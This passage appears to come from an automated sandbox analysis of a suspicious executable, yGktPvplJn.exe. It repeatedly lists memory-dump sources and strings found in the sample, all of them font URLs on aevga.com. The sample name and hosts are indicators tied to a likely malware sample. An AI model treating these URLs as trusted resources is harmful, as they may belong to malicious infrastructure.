00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/fonts/poppins/pxiByp8kv8JHgFVrLEj6Z1JlFc-K.woff2)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/fonts/poppins/pxiByp8kv8JHgFVrLEj6Z1xlFQ.woff2)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/fonts/poppins/pxiByp8kv8JHgFVrLFj_Z1JlFc-K.woff2)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/fonts/poppins/pxiByp8kv8JHgFVrLFj_Z1xlFQ.woff2)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/fonts/poppins/pxiByp8kv8JHgFVrLGT9Z1JlFc-K.woff2)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/fonts/poppins/pxiByp8kv8JHgFVrLGT9Z1xlFQ.woff2)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/fonts/poppins/pxiDyp8kv8JHgFVrJJLm111VF9eO.woff2)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/fonts/poppins/pxiDyp8kv8JHgFVrJJLm111VGdeOcEg.woff2)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/fonts/poppins/pxiDyp8kv8JHgFVrJJLm21lVF9eO.woff2)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/fonts/poppins/pxiDyp8kv8JHgFVrJJLm21lVGdeOcEg.woff2)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/fonts/poppins/pxiDyp8kv8JHgFVrJJLm81xVF9eO.woff2)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/fonts/poppins/pxiDyp8kv8JHgFVrJJLm81xVGdeOcEg.woff2)
Source: yGktPvplJn.exe, 00000000.00000003.2451469487.0000000004D90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428434871.0000000004F90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2805275219.00000000009C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2438965957.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2441565496.00000000075C0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2787058807.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2770076636.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2736445741.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2763663620.0000000006EB0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426000916.00000000073A0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2865347582.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2793513145.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2465808693.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2426649790.00000000072B0000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2792700513.0000000004B30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2760644056.0000000003590000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2428573400.0000000004030000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2750424387.0000000005090000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2821347178.0000000003F30000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2749591294.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, yGktPvplJn.exe, 00000000.00000003.2444547891.00000000076E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://aevga.com/wp-content/fonts/poppins/pxiDyp8kv8JHgFVrJJLmg1hVF9eO.woff2)
